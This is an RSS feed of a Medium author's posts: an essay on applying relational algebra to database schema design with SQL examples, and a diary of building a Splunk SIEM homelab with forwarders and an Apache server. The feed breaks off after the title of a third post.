<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Piyush Pradhan on Medium]]></title>
        <description><![CDATA[Stories by Piyush Pradhan on Medium]]></description>
        <link>https://medium.com/@mediocre314?source=rss-d83087140f8a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*h5XRRffpdq8DZfg8LjijhA.jpeg</url>
            <title>Stories by Piyush Pradhan on Medium</title>
            <link>https://medium.com/@mediocre314?source=rss-d83087140f8a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 16:45:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mediocre314/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Think before you CREATE TABLE: A relational algebra approach]]></title>
            <link>https://medium.com/@mediocre314/think-before-you-create-table-a-relational-algebra-approach-4e18dc274fdc?source=rss-d83087140f8a------2</link>
            <guid isPermaLink="false">https://medium.com/p/4e18dc274fdc</guid>
            <dc:creator><![CDATA[Piyush Pradhan]]></dc:creator>
            <pubDate>Wed, 04 Feb 2026 17:45:02 GMT</pubDate>
            <atom:updated>2026-02-04T17:45:37.983Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*srxeDE5bL5i7haAA" /><figcaption>Photo by <a href="https://unsplash.com/@sunder_2k25?utm_source=medium&amp;utm_medium=referral">Sunder Muthukumaran</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>After building a fair amount of applications for personal projects, there came a point when I started wondering: what if one of these actually took off? Would my database hold up? Would I be scrambling to fix schema issues while angry users are tweeting about downtime?</p><p>Sure, those apps work. The queries run fine with 100 users. But what about 10,000? 100,000? I have no way to know if I’m making horrible mistakes that I just haven’t encountered yet.</p><p>Personal projects are pretty low stakes, if the database gets weird I can just wipe it clean and start over. But I can’t do that with production applications. What if I join a company with millions of users and I’m the one who has to design a critical table? Messing up without even knowing is the worst thing that could happen.</p><p>The problem is: I don’t know what I don’t know. And SQL doesn’t tell you if you’re making a mistake when you’re designing something. It lets you do it.</p><h3>What this post is really about</h3><p>Apologies for taking so long to get to the point. This isn’t me pretending to be some sort of database design expert — this is just me going back to the fundamentals in an attempt to figure out a way to at least make sure I’m not making any critical mistakes.</p><p>What I hope to demonstrate is:</p><ul><li>How to think about schema design using relational algebra concepts</li><li>Real examples of schemas that I’ve dealt with (I didn’t create them… well not ALL of them)</li><li>A methodology I’ll be developing to catch these issues early on</li></ul><h3>Common Schema Mistakes (And How Relational Algebra Exposes Them)</h3><h3>Example 1: The JSONB Flexibility Trap</h3><pre>CREATE TABLE products (<br>    id INT PRIMARY KEY,<br>    name VARCHAR(255),<br>    attributes JSONB  -- {&quot;category&quot;: &quot;boots&quot;, &quot;color&quot;: &quot;red&quot;, &quot;size&quot;: &quot;10&quot;}<br>);</pre><p><strong>Initial reasoning:</strong> “Products have different attributes depending on their type. Boots have sizes, books have page counts. JSON gives us flexibility without needing a column for every possible attribute!”</p><p>It seemed perfect. No messy migrations when we add new product types.</p><h4>The Problems</h4><p><strong>Problem 1: Simple queries became complicated</strong></p><ul><li>“Find all red boots in size 10”</li><li>Instead of a clean WHERE clause, I need JSON extraction functions</li><li>Every query requires parsing JSON at runtime</li></ul><p><strong>Problem 2: No way to enforce data quality</strong></p><ul><li>Nothing stops someone from entering {&quot;color&quot;: &quot;rde&quot;} (typo)</li><li>Nothing requires boots to have a size — no CHECK constraints</li><li>Nothing validates that size is actually a number</li><li>The database can’t help me — JSON is just text with structure</li></ul><p><strong>Problem 3: Performance degraded</strong></p><ul><li>Filtering on attributes will do full table scans</li><li>Indexes won’t work (or required expression indexes that precompute values)</li><li>As the table grows, these queries will gradually become slower</li></ul><h4>What Relational Algebra Reveals</h4><p><strong>Query: Find red boots in size 10</strong></p><p>σ&lt;sub&gt;attributes-&gt;&gt;’category’=’boots’ ∧ attributes-&gt;&gt;’color’=’red’ ∧ attributes-&gt;&gt;’size’=’10&#39;&lt;/sub&gt;(Products)</p><p><strong>Problems:</strong></p><p><strong>1. </strong><strong>attributes-&gt;&gt;&#39;color&#39; is NOT a proper selection predicate</strong></p><ul><li>It’s a function call, not an attribute reference</li><li>The database can’t use a standard B-tree index on this. Sure, I can create an expression index: CREATE INDEX ON products ((attributes-&gt;&gt;&#39;color&#39;)). But now the database has to precompute and store these values in the index. So I&#39;m storing the data twice anyway - once in JSON, once in the index!</li></ul><p><strong>2. There’s no way to express π&lt;sub&gt;color&lt;/sub&gt;(Products)</strong></p><ul><li>color is not an attribute in relational algebra terms—it&#39;s buried inside JSONB</li><li>I have to use: π&lt;sub&gt;attributes-&gt;&gt;’color’&lt;/sub&gt;(Products). This returns NULL for products without a color key</li><li>And I can’t tell the difference between “no color” and “color key missing”</li></ul><p><strong>3. Constraint: ∀p ∈ σ&lt;sub&gt;category=’boots’&lt;/sub&gt;: p.size ≠ NULL</strong></p><ul><li>Translation: “All boots must have a size”</li><li>Not possible to express this at the database level</li><li>No CHECK constraint can reach into JSON structure</li><li>No foreign key can validate JSONB values</li><li>Nothing stops me from inserting a boot with no size, or size: “extra large” (instead of something pre-defined like “UK07”)</li></ul><p><strong>What relational algebra tells us:</strong></p><p>The expression we actually want to write is:</p><p>π&lt;sub&gt;p.name&lt;/sub&gt;( σ&lt;sub&gt;c.name=’red’ ∧ s.name=’10&#39;&lt;/sub&gt;( Products p ⋈ Boots b ⋈ Colors c ⋈ Sizes s ) )</p><h3>Example 2: The Denormalized Audit Trail</h3><pre>CREATE TABLE user_audit (<br>    audit_id INT PRIMARY KEY,<br>    user_id INT,<br>    email VARCHAR(100),<br>    department_name VARCHAR(100),  -- Copied from departments table<br>    manager_name VARCHAR(100),     -- Copied from users table<br>    changed_at TIMESTAMP,<br>    changed_by INT<br>);</pre><p><strong>The reasoning seems solid:</strong> “We need to preserve exactly what things looked like at the moment of the change. If a department gets renamed later, we want the audit log to show the old name.”</p><h4>The Problems</h4><p><strong>Problem 1: The audit trail becomes misleading</strong></p><p>(The deeper issue here is we’re trying to preserve point-in-time state by copying data rather than maintaining temporal identity through department_id and a history table BUT I&#39;ll have to research temporal modeling properly, so let&#39;s skip that for now.)</p><ul><li>Let’s say the Engineering department was renamed to “Engineering &amp; AI”. Now all old audit entries show “Engineering”</li><li>Users looking at the audit log think: “Why does Bob’s old record show a different department?” They don’t realize it’s the <em>same</em> department, just renamed</li></ul><p><strong>Problem 2: The “immutable” audit log needed updates</strong></p><ul><li>When departments merged, we had to update thousands of audit rows which defeats the purpose of an “immutable” audit trail</li></ul><p><strong>Problem 3: Simple queries became impossible</strong></p><ul><li>“Show me everyone who’s ever been in the Engineering department”</li><li>But wait, is that “Engineering”, “Engineering &amp; AI”, or both?</li><li>String matching on department names is a nightmare</li></ul><h4>What Relational Algebra Reveals</h4><p><strong>Query: Show audit trail with current department names</strong></p><p>π&lt;sub&gt;email,department_name,manager_name,changed_at&lt;/sub&gt;(user_audit)</p><p><strong>Problems:</strong></p><p><strong>1. </strong><strong>department_name is STALE</strong></p><ul><li>Department “Engineering” was renamed to “Engineering &amp; AI”</li><li>Audit shows old name, but users expect current name</li><li>To get current names, we need to join anyway:</li></ul><p>π&lt;sub&gt;email,d.name,m.name,changed_at&lt;/sub&gt;( user_audit ⋈ departments d ⋈ users m )</p><p>Here we’re joining to other tables anyway! So we didn’t really save any effort from copying the names.</p><p><strong>2. Immutability is violated</strong></p><ul><li>If department name changes, we have three bad choices:</li><li>Update audit rows (violates immutability)</li><li>Leave them stale (misleading audit trail)</li><li>Store both old and current (now we need two columns, and which is “truth”?)</li></ul><p><strong>3. Can’t query “when did user change departments”</strong></p><ul><li>We need: σ&lt;sub&gt;old_dept_name ≠ new_dept_name&lt;/sub&gt;(user_audit)</li><li>But dept_name is a string that could be:</li><li>“Engineering” vs “engineering” (case difference)</li><li>“Engineering” vs “Engineering &amp; AI” (rename, not a move)</li><li>Can’t tell if it’s the same department or different!</li></ul><h3>Example 3: The Soft Delete Pattern</h3><pre>CREATE TABLE posts (<br>    id INT PRIMARY KEY,<br>    title VARCHAR(200),<br>    content TEXT,<br>    author_id INT,<br>    deleted_at TIMESTAMP  -- NULL = active, timestamp = deleted<br>);</pre><pre>CREATE TABLE comments (<br>    id INT PRIMARY KEY,<br>    post_id INT REFERENCES posts(id),<br>    user_id INT,<br>    text TEXT,<br>    deleted_at TIMESTAMP<br>);</pre><p><strong>The pitch:</strong> “We never actually delete data! It’s safer, we can undelete things, and we have a full audit trail.”</p><h4>The Problems</h4><p><strong>Problem 1: Every query needs filtering</strong></p><ul><li>Want active posts? WHERE deleted_at IS NULL</li><li>Want active comments? WHERE deleted_at IS NULL</li><li>Forgot it once? Data leak.</li><li>Now every single query comes with this one WHERE clause</li></ul><p><strong>Problem 2: Unique constraints are broken</strong></p><ul><li>User email should be unique but soft-deleted user still has their email in the table</li><li>New user tries to register with same email → constraint violation!</li><li>Workaround: UNIQUE(email) WHERE deleted_at IS NULL. But now uniqueness is conditional, which violates relational model principles</li></ul><p><strong>Problem 3: Referential integrity doesn’t match application semantics</strong></p><ul><li>comments.post_id REFERENCES posts(id) allows references to deleted posts</li><li>Should comments on deleted posts be visible? Hidden? Cascade-deleted?</li><li>The database says “this reference is valid” but your application has to enforce additional rules</li><li>You’ve pushed referential integrity logic into application code</li></ul><p><strong>Problem 4: Performance degradation</strong></p><ul><li>Indexes include deleted rows (never queried, just bloat)</li><li>Every query scans past thousands of deleted rows which is absolutely unnecessary and will affect performance</li><li>Full table scans get slower over time</li><li>You’re essentially archiving data in the hot table</li></ul><h4>What Relational Algebra Reveals</h4><p><strong>Query: Show all active posts</strong></p><p>σ&lt;sub&gt;deleted_at=NULL&lt;/sub&gt;(Posts)</p><p><strong>Problems:</strong></p><p><strong>1. Selection predicate required on EVERY query</strong></p><ul><li>Forget it once → data leak</li><li>Can’t enforce this at schema level</li><li>It’s a runtime check, not a design constraint</li></ul><p><strong>2. Join ambiguity</strong></p><p>Posts ⋈ Comments</p><p>Should this return:</p><ul><li>Active posts with active comments?</li><li>Active posts with all comments (including deleted)?</li><li>All posts with active comments?</li></ul><p>The schema doesn’t say! It’s ambiguous!</p><p><strong>3. Uniqueness constraint can’t be expressed</strong></p><p>∀u1,u2 ∈ σ&lt;sub&gt;deleted_at=NULL&lt;/sub&gt;(Users): u1 ≠ u2 → u1.email ≠ u2.email</p><p>This is a CONDITIONAL constraint (only on subset where deleted_at IS NULL). Relational model assumes constraints apply to entire relation. We’ve violated the model.</p><p><strong>What relational algebra tells us:</strong></p><p>If we express what we actually need:</p><p>Active posts: π&lt;sub&gt;title,content&lt;/sub&gt;(Posts)<br>Archived posts: π&lt;sub&gt;title,content,deleted_at&lt;/sub&gt;(ArchivedPosts)</p><p>I think we’ve seen enough examples of how easy it is to mess up common decisions.</p><h3>A Methodology to Prevent These Mistakes</h3><p>Before jumping in and creating tables, let’s follow these steps:</p><ol><li>Gather requirements (queries and constraints)</li><li>Express the queries in relational algebra for a clearer picture</li><li>Identify relations and attributes from relational algebra expressions</li><li>Apply normalization rules</li><li>Validate with relational algebra (check if requirements can be expressed cleanly)</li><li>Implement in SQL</li></ol><p>Let’s take the first example to understand this better — the products table.</p><h3>Step 1: Gather Requirements</h3><h4>Queries</h4><ul><li>Find all products by category</li><li>Find all red boots in size 10</li><li>List all available colors</li><li>Count products per category</li></ul><h4>Constraints</h4><ul><li>Every product must have a category</li><li>Every boot must have a size</li><li>Color must be from a pre-defined set of colors</li></ul><h3>Step 2: Express in Relational Algebra</h3><p><strong>Query 1: Find all products by category</strong></p><p>σ&lt;sub&gt;category=’boots’&lt;/sub&gt;(Products)</p><ul><li>Need Products relation (obviously)</li><li>Need category as an attribute—can&#39;t use JSONB</li><li>Need index on category</li></ul><p><strong>Query 2: Find all red boots in size 10</strong></p><p>σ&lt;sub&gt;color=’red’ ∧ size=’10&#39;&lt;/sub&gt;(Boots)</p><p><strong>Notice:</strong> No category=&#39;boots&#39; predicate needed. The fact that we&#39;re querying the Boots relation <em>is</em> the category filter. This is a signal from relational algebra: if category is always the same for a subset of products, that subset should be its own relation.</p><ul><li>Need color and size attributes</li><li>Multiple selection predicates — can consider a compound index</li></ul><p><strong>Query 3: List all available colors</strong></p><p>π&lt;sub&gt;color&lt;/sub&gt;(Products)</p><ul><li>Need Colors as a separate relation</li><li>If Colors is simply an attribute, then DISTINCT has to be used which will comparitively be slower</li></ul><p><strong>Query 4: Count products per category</strong></p><p>Γ&lt;sub&gt;category; COUNT(*)-&gt;count&lt;/sub&gt;(Products)</p><ul><li>Need category as a groupable attribute</li></ul><h4>Constraint Check</h4><p>∀p ∈ σ&lt;sub&gt;category=’boots’&lt;/sub&gt;(Products): p.size ≠ NULL</p><p>Can we express this in the schema?</p><ul><li>If size is in Products table: Need conditional NOT NULL (impossible!)</li></ul><p><strong>Conclusion:</strong> Boots should be a separate relation.</p><h3>Step 3: Identify Relations and Attributes</h3><h4>Attributes used in selection must be columns</h4><p>σ&lt;sub&gt;color=’red’ ∧ size=’10&#39;&lt;/sub&gt;</p><p>Attributes needed: color, size</p><h4>Attributes used in projection must be columns</h4><p>π&lt;sub&gt;color&lt;/sub&gt;(Products)</p><p>Attributes needed: color</p><h4>Joins indicate foreign key relationships</h4><p>Products ⋈ Boots</p><p>Foreign key needed: Boots.product_id REFERENCES Products.id</p><h4>Constraints dictate relation structure</h4><p>∀p ∈ σ&lt;sub&gt;category=’boots’&lt;/sub&gt;(Products): p.size ≠ NULL</p><p>Decision: Boots should be a separate relation. This allows size column to have a NOT NULL constraint.</p><h4>Identified Relations</h4><p><strong>1. Products</strong>(id, name, category_id)</p><ul><li>Primary key: id</li><li>Foreign key: category_id → Categories.id</li></ul><p><strong>2. Categories</strong>(id, name)</p><ul><li>Primary key: id</li><li>Unique: name</li></ul><p><strong>3. Boots</strong>(product_id, color_id, size_id, material_id)</p><ul><li>Primary key: product_id</li><li>Foreign keys:</li><li>product_id → Products.id</li><li>color_id → Colors.id</li><li>size_id → Sizes.id</li><li>material_id → Materials.id</li></ul><p><strong>4. Colors</strong>(id, name, hex_code)</p><ul><li>Primary key: id</li><li>Unique: name</li></ul><p><strong>5. Sizes</strong>(id, name, sort_order)</p><ul><li>Primary key: id</li><li>Unique: name</li></ul><h3>Step 4: Apply Normalization Rules</h3><p>Let’s say you have:</p><pre>CREATE TABLE order_items (<br>    order_id INT,<br>    product_id INT,<br>    customer_name VARCHAR(100),<br>    product_name VARCHAR(100),<br>    quantity INT,<br>    PRIMARY KEY (order_id, product_id)<br>);</pre><p>Try expressing this business rule in RA:</p><pre>∀oi1, oi2 ∈ order_items:  <br> oi1.order_id = oi2.order_id → oi1.customer_name = oi2.customer_name</pre><p>“All items in the same order must have the same customer name.”</p><p>Can this be enforced in SQL? No. There’s no CHECK constraint that can span rows.</p><p><strong>Conclusion:</strong> You have a functional dependency (order_id → customer_name) that’s not captured by your primary key. This violates 2NF.</p><p><strong>The fix:</strong></p><ul><li>Split into orders(order_id, customer_name) and order_items(order_id, product_id, quantity)</li><li>Now the functional dependency is enforced by the primary key of orders</li></ul><p><strong>The pattern:</strong> If a constraint can be expressed in relational algebra but can’t be enforced in SQL, it’s probably a normalization issue.</p><h3>Step 5: Validate with Relational Algebra</h3><p>Rewrite the expressions from earlier with actual schema relations and check if it’s natural and efficient.</p><p><strong>Expression from step 2:</strong></p><p>σ&lt;sub&gt;color=’red’ ∧ size=’10&#39;&lt;/sub&gt;(Boots)</p><p><strong>Expression with actual schema relations:</strong></p><p>π&lt;sub&gt;p.name, p.id&lt;/sub&gt;(<br> σ&lt;sub&gt;c.name=’red’ ∧ s.name=’10&#39;&lt;/sub&gt;(<br> Products p<br> ⋈&lt;sub&gt;(p.id = b.product_id)&lt;/sub&gt; Boots b<br> ⋈&lt;sub&gt;(b.color_id = c.id)&lt;/sub&gt; Colors c<br> ⋈&lt;sub&gt;(b.size_id = s.id)&lt;/sub&gt; Sizes s<br> )<br>)</p><p><strong>Notice what’s missing:</strong> No category=&#39;boots&#39; filter. We&#39;re querying Boots directly its existence as a relation <em>is</em> the category filter. This is exactly what relational algebra tells us: repeated selection predicates on the same value suggest the need for a separate relation.</p><h4>Validation Questions</h4><ul><li><strong>Are all operations standard RA?</strong> Yes (σ, π, ⋈)</li><li><strong>Are joins natural?</strong> Yes (all on foreign key integer columns)</li><li><strong>Can database optimize this?</strong> Yes</li><li>Can use indexes on color_id, size_id</li><li>Can use index on category_id</li><li>Query planner has statistics on all columns</li><li>Can reorder joins for efficiency</li><li><strong>Does it handle edge cases?</strong></li><li>What if product has no color? Inner join excludes it (correct!)</li><li>What if color doesn’t exist? FK prevents invalid color_id (correct!)</li><li>What if size is NULL? NOT NULL constraint prevents it (correct!)</li></ul><p><strong>Conclusion:</strong> Schema validated!</p><h4>Bonus: From Relational Algebra to Indexes</h4><p>Here’s something cool: RA expressions map directly to index strategy.</p><p>When you see:</p><p>σ&lt;sub&gt;color=’red’ ∧ size=’10&#39;&lt;/sub&gt;(Boots)</p><p>The ∧ (AND) tells you these filters are evaluated together. In SQL:</p><pre>WHERE color_id = X AND size_id = Y</pre><p><strong>Index strategy from RA:</strong></p><ul><li>Single predicate → Single column index</li><li>Multiple predicates with ∧ → Compound index</li><li>Predicates with ∨ (OR) → Separate indexes (or bitmap scan)</li></ul><p>For our boots query:</p><pre>CREATE INDEX idx_boots_color_size ON boots(color_id, size_id);</pre><p><strong>Why this order?</strong> The RA expression doesn’t tell you… but query selectivity does. For example, if color filters out 90% of rows and size filters out 50%, put color first. The database can use the index for:</p><ul><li>Just color: ✓</li><li>Color + size: ✓</li><li>Just size: ✗ (needs separate index)</li></ul><p><strong>Rule of thumb:</strong> Order index columns from most selective to least selective, and match the order you’ll most commonly query them.</p><h4>Using Validation to Identify Bad Schema</h4><p>Let’s take an example. And for this example, we’re going back to the previous schema:</p><pre>CREATE TABLE products (<br>  id INT PRIMARY KEY,<br>  name VARCHAR(255),<br>  attributes JSONB<br>);</pre><p>Trying to express the same query in relational algebra:</p><p>σ&lt;sub&gt;attributes-&gt;&gt;’category’=’boots’ ∧ attributes-&gt;&gt;’color’=’red’ ∧ attributes-&gt;&gt;’size’=’10&#39;&lt;/sub&gt;</p><p><strong>Validation Questions:</strong></p><ul><li><strong>Are all operations standard RA?</strong> No (-&gt;&gt; is a function call, not an attribute reference)</li><li><strong>Can database optimize this?</strong> No, database can’t use regular indexes on JSON keys</li><li><strong>Does it handle edge cases?</strong></li><li>There’s no type safety, can’t enforce that color values are from a set of predefined colors</li><li>No constraint enforcement, can’t ensure if boots will have a size or material</li></ul><p><strong>Conclusion: Schema failed validation.</strong></p><h3>Step 6: Implementing in SQL (Finally!)</h3><pre>-- Core entities<br>CREATE TABLE categories (<br>    id SERIAL PRIMARY KEY,<br>    name VARCHAR(100) UNIQUE NOT NULL<br>);</pre><pre>CREATE TABLE products (<br>    id SERIAL PRIMARY KEY,<br>    name VARCHAR(200) NOT NULL,<br>    category_id INT NOT NULL REFERENCES categories(id),<br>    created_at TIMESTAMP DEFAULT NOW()<br>);</pre><pre>-- Define the schema for the attributes<br>CREATE TABLE colors (<br>    id SERIAL PRIMARY KEY,<br>    name VARCHAR(50) UNIQUE NOT NULL,<br>    hex_code CHAR(7) NOT NULL<br>);</pre><pre>CREATE TABLE sizes (<br>    id SERIAL PRIMARY KEY,<br>    name VARCHAR(10) UNIQUE NOT NULL,<br>    sort_order INT NOT NULL<br>);</pre><pre>CREATE TABLE materials (<br>    id SERIAL PRIMARY KEY,<br>    name VARCHAR(50) UNIQUE NOT NULL<br>);</pre><pre>-- Product category-specific attributes<br>CREATE TABLE shirts (<br>    product_id INT PRIMARY KEY REFERENCES products(id) ON DELETE CASCADE,<br>    color_id INT NOT NULL REFERENCES colors(id),<br>    size_id INT NOT NULL REFERENCES sizes(id),<br>    material_id INT REFERENCES materials(id)<br>);</pre><pre>CREATE TABLE boots (<br>    product_id INT PRIMARY KEY REFERENCES products(id) ON DELETE CASCADE,<br>    color_id INT NOT NULL REFERENCES colors(id),<br>    size_id INT NOT NULL REFERENCES sizes(id),<br>    width VARCHAR(10) CHECK (width IN (&#39;Narrow&#39;, &#39;Medium&#39;, &#39;Wide&#39;))<br>);</pre><pre>-- Indexes for common queries (from RA analysis)<br>CREATE INDEX idx_products_category ON products(category_id);<br>CREATE INDEX idx_boots_color_size ON boots(color_id, size_id);</pre><h3>Conclusion</h3><p>Now maybe in some cases (or even in this one) there are better ways to design the schema, but you really can’t design a bad one at least after going through this tedious process and I think that’s a huge win.</p><p>Was it fun? No.<br>Was it as rewarding as I expected it to be? Also no.</p><p>But it worked. It removed guesswork, exposed bad assumptions, and left me with a database design I actually trust.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4e18dc274fdc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building my own SIEM homelab]]></title>
            <link>https://medium.com/@mediocre314/building-my-own-siem-homelab-eba398781b78?source=rss-d83087140f8a------2</link>
            <guid isPermaLink="false">https://medium.com/p/eba398781b78</guid>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[monitoring]]></category>
            <category><![CDATA[homelab]]></category>
            <dc:creator><![CDATA[Piyush Pradhan]]></dc:creator>
            <pubDate>Sun, 03 Jul 2022 16:06:29 GMT</pubDate>
            <atom:updated>2022-07-23T06:40:57.658Z</atom:updated>
            <content:encoded><![CDATA[<p>For this project I’m choosing Splunk and setting it up in a local virtual machine.</p><h3>Setting up splunk</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/0*61C2G8UtgdcVGPyR" /></figure><p>What I’m planning to do is, create a new virtual network that will serve as this dummy organisation’s network and I’ll set up Splunk on a VM configured to use this virtual network. I’ll probably have a couple of other VMs that will act as an user and an attacker to collect their usage statistics.</p><p>That sounds unethical for some reason.</p><p>That’s what I have in mind right now, I may have to change some things as I learn more about this.</p><p>After downloading and installing the .deb package the next step was to enable it on boot and starting the splunk service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/0*E-wtONR-Be2X8LM-" /></figure><p>And…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RRoeppgsv_T6HE-X" /></figure><p>…it’s done.</p><p>I think the next step will be to set up the target machine, I’m planning to just have a simple web server, using Apache maybe.</p><p>Okay, so I did a little bit of research on Splunk and how to set to feed it data and I came across Universal Forwarder. It basically collects data from various sources and sends it to Splunk indexers so that we can run queries and find the information we are looking for.</p><p>I followed this article to set it up on the target machine, it was pretty straightforward.</p><p><a href="https://docs.pingidentity.com/bundle/pingintelligence-44/page/eng1564008975198.html">https://docs.pingidentity.com/bundle/pingintelligence-44/page/eng1564008975198.html</a></p><p>Now it’s time to monitor the data we are forwarding from the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lpzZxXcUrqDCOBeK" /></figure><p>Looks like it isn’t going to be that easy. I encountered an error saying “There are currently no forwarders configured as deployment clients to this instance”</p><p>That was a silly mistake on my part, I forgot to add the forwarder I just set up as a sender on this splunk instance.</p><p>It should be fairly easy</p><pre>~ /opt/splunkforwarder/bin/splunk add forward-server ip-address-of-target:9997</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XKGv2lo6ICTmRerQ" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OaeHvuO7kSMMqfNi" /></figure><p>I kept getting the same error because I hadn’t configured the deployment server. According to the officials docs ( <a href="https://docs.splunk.com/Documentation/Splunk/9.0.0/Updating/Aboutdeploymentserver#:~:text=The%20deployment%20server%20is%20the,clustered%20indexers%2C%20and%20search%20heads">Splunk Deployment Server Docs</a>.)</p><blockquote><em>The </em><a href="https://docs.splunk.com/Splexicon:Deploymentserver"><strong><em>deployment server</em></strong></a><em> is the tool for distributing configurations, apps, and content updates to groups of Splunk Enterprise instances.</em></blockquote><p>Even after setting up that deployment server looks like I’m still missing something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/0*QJAzTJ9qXoa7VtPd" /></figure><p>Actually I had made some mistakes while configuring the deployment server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LMlfBtw4RmoU6S1d" /></figure><p>Next I added a Splunk add on for linux for collecting data. However, I’m not very familiar with splunk queries, that’s another thing I have to learn about.</p><p>But it’s working properly, it shows me the list of available forwarders instead of that error message. (the target machine)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/0*CdUgwS4LMLuxM4vD" /></figure><p>After setting up the source, type of data to monitor and the listening port I can now query the collected data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-Ivc-5GYE8fX3zM_" /></figure><p>I’ll have to read up a bit more about this, there are tons of options here that I have no idea about!</p><h3>Setting up client and servers</h3><p>As I had planned, I setup and enabled Apache2 on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_byZPgu3j0GqU_8F" /></figure><p>I also added this vulnerable web application from <a href="https://github.com/OWASP/Vulnerable-Web-Application">https://github.com/OWASP/Vulnerable-Web-Application</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MeqkwW6PUDPboYSR" /></figure><p>Now, I just have to ask the Splunk enterprise instance to keep track of this web server. I’m gonna use this Splunk Add-on for Apache, it collects and analyses data from the Apache web server, it also has some cool pre-built panels for visualising the collected data.</p><p>There it is…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kyZYg_F-S_c3DSGb" /></figure><p>As described it adds some sourcetypes too, apache:access, apache:errors etc. After that I added the same add-on on the webserver exactly the way I added that linux add-on and restarted the fowarder, it probably should be collecting data now.</p><p>Nope!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NOykOVUPLbmj9hbT" /></figure><p>Actually, I forgot to ask the forwarder to monitor apache log files.</p><p>It still didn’t work and I had to set the source manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UjpDNjsJcOBOhWTx" /></figure><p>Actually forget about adding the source manually, I figured it out. I hadn’t configured my Apache server to send logs to splunk.</p><p>Once I followed the instructions I was able to get it to collect logs the way it is supposed to!</p><p><a href="https://docs.splunk.com/Documentation/AddOns/released/ApacheWebServer/Configure">https://docs.splunk.com/Documentation/AddOns/released/ApacheWebServer/Configure</a></p><p>This is interesting. So I shut down the VMs and restarted those to try and monitor some intentionally created vulnerable traffic, but my splunk enterprise instance is not collecting logs.</p><p>The logs from the other day are still there, but it’s just not collecting any data anymore. I checked if the receiving ports are open, checked the forwarders, virtual network configuration everything seems fine.</p><p>I also tried looking into the forwarder’s log, I’m not sure if this is something I should look into but I’m just going to keep it here… just in case I want to come back to this later on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3DCMrdVuJARa6hQ9" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yFLb8sUlgVTlbuVp" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/0*cfgKgNsQhDn4tv5K" /></figure><p>So clearly, my host machine (that is running Apache web server) isn’t sending any logs at all. (That IP displayed is the IP address of Splunk enterprise instance)</p><p>Even after hours of troubleshooting I wasn’t able to add my apache server as one of the hosts. I think there are some issues with how the virtual network is setup up. I was using two network adapters on each VM — A Host-only adapter and a NATNetwork adapter.</p><p>So I decided to set it up in the cloud using AWS, hoping that I won’t face those networking issues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*u9vO5aQL7_nPaRXK" /></figure><p>That went well. Next I did everything again, installed Apache add-on to the enterprise instance, created a new Apache web server instance and installed a splunk forwarder on it, added that Apache add-on in there too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mg6KPyxEGoZun0Ii" /></figure><p>Never works on the first try. At least this time I’m getting an error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/0*9h6NUgWSTEFKBQ8m" /></figure><p>That was probably because I had set an “unconfigured index” in inputs.conf in the splunk forwarder. I just had to go to Settings -&gt; Indexes -&gt; New Index and create a new index named apache (because that’s what I had put in inputs.conf file).</p><p>Even after doing it all over again on AWS, it just didn’t work. I tried everything… spent hours troubleshooting but nothing. But the very next day. I fired up those instances again, reconfigured the IP addresses and it somehow worked, I don’t exactly know what happened, but it’s possible that the forward server I had “added” was just there, it wasn’t “active” and that’s probably why it wasn’t sending logs over to the enterprise instance.</p><p>Well, it works now…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rFMx1eQQVh8Z93Z5" /></figure><p>And with this I have properly set up a SIEM Homelab with Splunk. I’m going to explore Splunk by setting up that vulnerable web app I used earlier and monitoring my own activities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eba398781b78" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Defender’s path in FLAWS2]]></title>
            <link>https://medium.com/@mediocre314/the-defenders-path-in-flaws2-6a1bc437c723?source=rss-d83087140f8a------2</link>
